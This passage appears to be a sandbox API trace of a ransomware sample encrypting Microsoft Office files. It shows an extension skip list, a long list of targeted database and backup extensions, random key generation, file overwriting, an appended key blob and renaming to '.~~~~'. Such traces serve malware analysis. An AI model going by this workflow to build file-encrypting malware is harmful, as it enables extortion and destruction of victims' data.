	[0136.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0137.104] lstrlenW (lpString=".sqb") returned 4
	[0137.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0137.104] lstrlenW (lpString=".ost") returned 4
	[0137.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0137.104] lstrlenW (lpString=".txt") returned 4
	[0137.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0137.105] lstrlenW (lpString=".mdt") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0137.105] lstrlenW (lpString=".BDB") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0137.105] lstrlenW (lpString=".eql") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0137.105] lstrlenW (lpString=".DBF") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0137.105] lstrlenW (lpString=".EQL") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0137.105] lstrlenW (lpString=".FDB") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0137.105] lstrlenW (lpString=".EDB") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0137.105] lstrlenW (lpString=".DACPAC") returned 7
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0137.105] lstrlenW (lpString=".VHD") returned 4
	[0137.105] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0137.105] lstrlenW (lpString=".DBV") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0137.106] lstrlenW (lpString=".dacpac") returned 7
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0137.106] lstrlenW (lpString=".sdf") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0137.106] lstrlenW (lpString=".accdb") returned 6
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0137.106] lstrlenW (lpString=".DBX") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0137.106] lstrlenW (lpString=".MDT") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0137.106] lstrlenW (lpString=".SQB") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0137.106] lstrlenW (lpString=".vhd") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0137.106] lstrlenW (lpString=".bac") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0137.106] lstrlenW (lpString=".mdf") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0137.106] lstrlenW (lpString=".BAK") returned 4
	[0137.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0137.107] lstrlenW (lpString=".BAC") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0137.107] lstrlenW (lpString=".dbs") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0137.107] lstrlenW (lpString=".vhdx") returned 5
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0137.107] lstrlenW (lpString=".NDF") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0137.107] lstrlenW (lpString=".dat") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0137.107] lstrlenW (lpString=".DBS") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0137.107] lstrlenW (lpString=".CKP") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0137.107] lstrlenW (lpString=".edb") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0137.107] lstrlenW (lpString=".PST") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0137.107] lstrlenW (lpString=".dbf") returned 4
	[0137.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0137.107] lstrlenW (lpString=".SQL") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0137.108] lstrlenW (lpString=".pst") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0137.108] lstrlenW (lpString=".dbv") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0137.108] lstrlenW (lpString=".SDF") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0137.108] lstrlenW (lpString=".dtxs") returned 5
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0137.108] lstrlenW (lpString=".db3") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0137.108] lstrlenW (lpString=".OST") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0137.108] lstrlenW (lpString=".dbx") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0137.108] lstrlenW (lpString=".DB3") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0137.108] lstrlenW (lpString=".DAT") returned 4
	[0137.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0137.108] lstrlenW (lpString=".VHDX") returned 5
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0137.109] lstrlenW (lpString=".ndf") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0137.109] lstrlenW (lpString=".DB") returned 3
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0137.109] lstrlenW (lpString=".sql") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0137.109] lstrlenW (lpString=".MYD") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0137.109] lstrlenW (lpString=".DBT") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0137.109] lstrlenW (lpString=".ACCDB") returned 6
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0137.109] lstrlenW (lpString=".fdb") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0137.109] lstrlenW (lpString=".bak") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0137.109] lstrlenW (lpString=".myd") returned 4
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0137.109] lstrlenW (lpString=".DTXS") returned 5
	[0137.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0137.110] lstrlenW (lpString=".ckp") returned 4
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0137.110] lstrlenW (lpString=".dbt") returned 4
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0137.110] lstrlenW (lpString=".db") returned 3
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".db") returned 0x0
	[0137.110] lstrlenW (lpString=".TXT") returned 4
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0137.110] lstrlenW (lpString=".MDF") returned 4
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0137.110] lstrlenW (lpString=".bdb") returned 4
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0137.110] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.110] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.111] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0137.112] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.112] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.112] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25710242438) returned 1
	[0137.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb2a7550, dwHighDateTime=0x1d60e1e)) 
	[0137.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825550
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825550 | out: hHeap=0x300000) returned 1
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5d90
	[0137.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.113] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0137.114] GetLastError () returned 0x0
	[0137.114] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0137.114] GetLastError () returned 0x0
	[0137.116] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.116] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0137.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.116] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.116] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.116] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.117] CloseHandle (hObject=0x138) returned 1
	[0137.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0137.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.~~~~")) returned 1
	[0137.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.121] GetLastError () returned 0x0
	[0137.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".scr") returned 0x0
	[0137.121] lstrlenW (lpString=".cmd") returned 4
	[0137.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".cmd") returned 0x0
	[0137.122] lstrlenW (lpString=".dll") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dll") returned 0x0
	[0137.122] lstrlenW (lpString=".bat") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".bat") returned 0x0
	[0137.122] lstrlenW (lpString=".cpl") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".cpl") returned 0x0
	[0137.122] lstrlenW (lpString=".sys") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".sys") returned 0x0
	[0137.122] lstrlenW (lpString=".msc") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".msc") returned 0x0
	[0137.122] lstrlenW (lpString=".com") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".com") returned 0x0
	[0137.122] lstrlenW (lpString=".lnk") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".lnk") returned 0x0
	[0137.122] lstrlenW (lpString=".msp") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".msp") returned 0x0
	[0137.122] lstrlenW (lpString=".pif") returned 4
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".pif") returned 0x0
	[0137.122] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0137.244] lstrlenW (lpString=".sqb") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".sqb") returned 0x0
	[0137.244] lstrlenW (lpString=".ost") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".ost") returned 0x0
	[0137.244] lstrlenW (lpString=".txt") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".txt") returned 0x0
	[0137.244] lstrlenW (lpString=".mdt") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".mdt") returned 0x0
	[0137.244] lstrlenW (lpString=".BDB") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".BDB") returned 0x0
	[0137.244] lstrlenW (lpString=".eql") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".eql") returned 0x0
	[0137.244] lstrlenW (lpString=".DBF") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DBF") returned 0x0
	[0137.244] lstrlenW (lpString=".EQL") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".EQL") returned 0x0
	[0137.244] lstrlenW (lpString=".FDB") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".FDB") returned 0x0
	[0137.244] lstrlenW (lpString=".EDB") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".EDB") returned 0x0
	[0137.244] lstrlenW (lpString=".DACPAC") returned 7
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.244] lstrlenW (lpString=".VHD") returned 4
	[0137.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".VHD") returned 0x0
	[0137.244] lstrlenW (lpString=".DBV") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DBV") returned 0x0
	[0137.245] lstrlenW (lpString=".dacpac") returned 7
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dacpac") returned 0x0
	[0137.245] lstrlenW (lpString=".sdf") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".sdf") returned 0x0
	[0137.245] lstrlenW (lpString=".accdb") returned 6
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".accdb") returned 0x0
	[0137.245] lstrlenW (lpString=".DBX") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".DBX") returned 0x0
	[0137.245] lstrlenW (lpString=".MDT") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".MDT") returned 0x0
	[0137.245] lstrlenW (lpString=".SQB") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".SQB") returned 0x0
	[0137.245] lstrlenW (lpString=".vhd") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".vhd") returned 0x0
	[0137.245] lstrlenW (lpString=".bac") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".bac") returned 0x0
	[0137.245] lstrlenW (lpString=".mdf") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".mdf") returned 0x0
	[0137.245] lstrlenW (lpString=".BAK") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".BAK") returned 0x0
	[0137.245] lstrlenW (lpString=".BAC") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".BAC") returned 0x0
	[0137.245] lstrlenW (lpString=".dbs") returned 4
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".dbs") returned 0x0
	[0137.245] lstrlenW (lpString=".vhdx") returned 5
	[0137.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS", lpSrch=".vhdx") returned 0x0
